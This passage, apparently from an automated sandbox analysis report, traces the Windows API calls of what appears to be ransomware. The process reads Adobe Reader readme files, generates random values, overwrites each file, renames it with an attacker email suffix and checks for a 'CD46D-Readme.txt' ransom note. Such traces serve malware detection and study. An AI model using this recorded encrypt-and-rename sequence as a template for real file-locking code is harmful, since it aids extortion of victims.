10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe9c [0058.395] GetFileSizeEx (in: hFile=0xe9c, lpFileSize=0x64efed4 | out: lpFileSize=0x64efed4*=17078) returned 1 [0058.395] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x42b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.395] ReadFile (in: hFile=0xe9c, lpBuffer=0x64efe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x64efe54, lpOverlapped=0x0 | out: lpBuffer=0x64efe58*, lpNumberOfBytesRead=0x64efe54*=0x4, lpOverlapped=0x0) returned 1 [0058.397] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0058.397] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0058.397] NtQuerySystemTime (in: CurrentTime=0x64efe34 | out: CurrentTime=0x64efe34*=132174898223832000) returned 0x0 [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x5904f4a7 [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x24d64712 [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x462ff20e [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x65b89d0f [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x269f398d [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x5aa2fe6f [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x3527a773 [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x77fea09e [0058.397] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x567b095c [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x76ddbd92 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x61fdf519 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x4d5e6c7a [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x4f554 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0xbbd5c9e [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x424e7f77 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x8f12e93 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x2caf7ca6 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x7296136b [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x1a62116d [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x8f68a [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x307a006e [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x262a5a77 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x5105a360 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x497cab7c [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x60f17407 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x6da7fdf6 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x395a5fba [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x4d9a82f8 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x324903ad [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x1d91edd [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x29d69c86 [0058.398] RtlRandomEx (in: Seed=0x64efe40 | out: Seed=0x64efe40) returned 0x4f6f6708 [0058.414] ReadFile (in: hFile=0xe9c, lpBuffer=0x968c690, nNumberOfBytesToRead=0x42b6, lpNumberOfBytesRead=0x64efe30, lpOverlapped=0x0 | out: lpBuffer=0x968c690*, lpNumberOfBytesRead=0x64efe30*=0x42b6, lpOverlapped=0x0) returned 1 [0058.416] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.416] WriteFile (in: hFile=0xe9c, lpBuffer=0x9698e98*, nNumberOfBytesToWrite=0x42b6, lpNumberOfBytesWritten=0x64efe2c, lpOverlapped=0x0 | out: lpBuffer=0x9698e98*, lpNumberOfBytesWritten=0x64efe2c*=0x42b6, lpOverlapped=0x0) returned 1 [0058.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0058.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428938 [0058.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9698e98) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x968c690) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0058.482] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0058.482] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0058.482] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.482] WriteFile (in: hFile=0xe9c, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x64efe94, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x64efe94*=0x109, lpOverlapped=0x0) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a00) returned 1 [0058.500] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292c8) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02120 [0058.501] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0058.501] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.501] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x64efe4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.501] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d970 [0058.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0058.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1fb90) returned 1 [0058.530] NtQueryInformationFile (in: FileHandle=0xe9c, IoStatusBlock=0x64efe58, FileInformation=0x64efe30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x64efe58, FileInformation=0x64efe30) returned 0x0 [0058.530] NtSetInformationFile (FileHandle=0xe9c, IoStatusBlock=0x64efe58, FileInformation=0x64efe30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.535] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.535] FlushFileBuffers (hFile=0xe9c) returned 1 [0062.195] CloseHandle (hObject=0xe9c) returned 1 [0062.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07e98 [0062.639] wcscpy (in: _Dest=0x12e07e98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.639] wcscat (in: _Dest=0x12e07e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.639] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07e98) returned 1 [0063.434] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419568) returned 1 Thread: id = 371 os_tid = 0xcb0 [0048.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm")) returned 0x20 [0058.414] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm", dwFileAttributes=0x20) returned 1 [0058.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe98 [0058.417] GetFileSizeEx (in: hFile=0xe98, lpFileSize=0x6ddfce0 | out: lpFileSize=0x6ddfce0*=17351) returned 1 [0058.417] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x43c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.417] ReadFile (in: hFile=0xe98, lpBuffer=0x6ddfc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6ddfc60, lpOverlapped=0x0 | out: lpBuffer=0x6ddfc64*, lpNumberOfBytesRead=0x6ddfc60*=0x4, lpOverlapped=0x0) returned 1 [0058.419] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0058.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0058.419] NtQuerySystemTime (in: CurrentTime=0x6ddfc40 | out: CurrentTime=0x6ddfc40*=132174898223988000) returned 0x0 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x31c8796d [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x9a4ec5f [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x36908583 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x74b411b8 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x22ca84bb [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x10a0fabe [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x3071b36d [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x18016213 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x1ec57986 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x5ba93c11 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x4992b19c [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0xc15c33 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x6a2ac128 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x2a45a839 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x6d2ae886 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x793085a4 [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x739e1dfd [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x1808087c [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x294d098e [0058.419] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x12a9db1f [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x30fda5e0 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x6c55dd18 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x2eecaf2d [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x2168ee91 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x3061ce1d [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x4be02ac7 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x3145637 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x2bd833e [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x5394f86d [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x54ae5e65 [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0x2a3cfdbb [0058.420] RtlRandomEx (in: Seed=0x6ddfc4c | out: Seed=0x6ddfc4c) returned 0xe2a55fd [0058.432] ReadFile (in: hFile=0xe98, lpBuffer=0x96a56a0, nNumberOfBytesToRead=0x43c7, lpNumberOfBytesRead=0x6ddfc3c, lpOverlapped=0x0 | out: lpBuffer=0x96a56a0*, lpNumberOfBytesRead=0x6ddfc3c*=0x43c7, lpOverlapped=0x0) returned 1 [0058.433] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.433] WriteFile (in: hFile=0xe98, lpBuffer=0x96b1ea8*, nNumberOfBytesToWrite=0x43c7, lpNumberOfBytesWritten=0x6ddfc38, lpOverlapped=0x0 | out: lpBuffer=0x96b1ea8*, lpNumberOfBytesWritten=0x6ddfc38*=0x43c7, lpOverlapped=0x0) returned 1 [0058.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9788 [0058.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0058.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96b1ea8) returned 1 [0058.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96a56a0) returned 1 [0058.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437508) returned 1 [0058.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c0d8) returned 1 [0058.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cedb0 [0058.483] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.484] WriteFile (in: hFile=0xe98, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x6ddfca0, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x6ddfca0*=0x109, lpOverlapped=0x0) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced20) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cedb0) returned 1 [0058.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9788) returned 1 [0058.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9698) returned 1 [0058.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9710) returned 1 [0058.502] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96e8) returned 1 [0058.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02060 [0058.502] wcscpy (in: _Dest=0x5e02060, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0058.502] wcscat (in: _Dest=0x5e02060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.502] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6ddfc58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40db20 [0058.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0058.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d298) returned 1 [0058.533] NtQueryInformationFile (in: FileHandle=0xe98, IoStatusBlock=0x6ddfc64, FileInformation=0x6ddfc3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6ddfc64, FileInformation=0x6ddfc3c) returned 0x0 [0058.533] NtSetInformationFile (FileHandle=0xe98, IoStatusBlock=0x6ddfc64, FileInformation=0x6ddfc3c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02060) returned 1 [0058.534] FlushFileBuffers (hFile=0xe98) returned 1 [0062.194] CloseHandle (hObject=0xe98) returned 1 [0062.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e08298 [0062.638] wcscpy (in: _Dest=0x12e08298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.638] wcscat (in: _Dest=0x12e08298, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.638] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.435] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08298) returned 1 [0063.436] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419388) returned 1 Thread: id = 372 os_tid = 0xcb4 [0048.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm")) returned 0x20 [0058.091] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm", dwFileAttributes=0x20) returned 1 [0058.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb0 [0058.092] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x6eafcd8 | out: lpFileSize=0x6eafcd8*=16892) returned 1 [0058.092] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x41f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.093] ReadFile (in: hFile=0xeb0, lpBuffer=0x6eafc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6eafc58, lpOverlapped=0x0 | out: lpBuffer=0x6eafc5c*, lpNumberOfBytesRead=0x6eafc58*=0x4, lpOverlapped=0x0) returned 1 [0058.095] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0058.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f00 [0058.095] NtQuerySystemTime (in: CurrentTime=0x6eafc38 | out: CurrentTime=0x6eafc38*=132174898220712000) returned 0x0 [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x78ea3c73 [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x5a9309f9 [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x700c8713 [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x4b26fa2b [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x148268bd [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x2a459343 [0058.095] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x66a37a30 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x5a0068a3 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x5cdcd2ea [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x48816855 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x52b6db92 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x4b849b62 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x77af50f [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0xceb905a [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x71da8883 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x8cd4196 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x380e4631 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x4084cb70 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x11235512 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x5d53ff74 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x6ae0daa3 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x816edf2 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x1d54a326 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x387080fd [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x7e8ad257 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x17ccf694 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0xdaaf2df [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x30ad12d5 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x494492ac [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0xd47ae7 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x53e93924 [0058.096] RtlRandomEx (in: Seed=0x6eafc44 | out: Seed=0x6eafc44) returned 0x49349e83 [0058.108] ReadFile (in: hFile=0xeb0, lpBuffer=0x12d8a9b0, nNumberOfBytesToRead=0x41fc, lpNumberOfBytesRead=0x6eafc34, lpOverlapped=0x0 | out: lpBuffer=0x12d8a9b0*, lpNumberOfBytesRead=0x6eafc34*=0x41fc, lpOverlapped=0x0) returned 1 [0058.110] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.110] WriteFile (in: hFile=0xeb0, lpBuffer=0x194d0048*, nNumberOfBytesToWrite=0x41fc, lpNumberOfBytesWritten=0x6eafc30, lpOverlapped=0x0 | out: 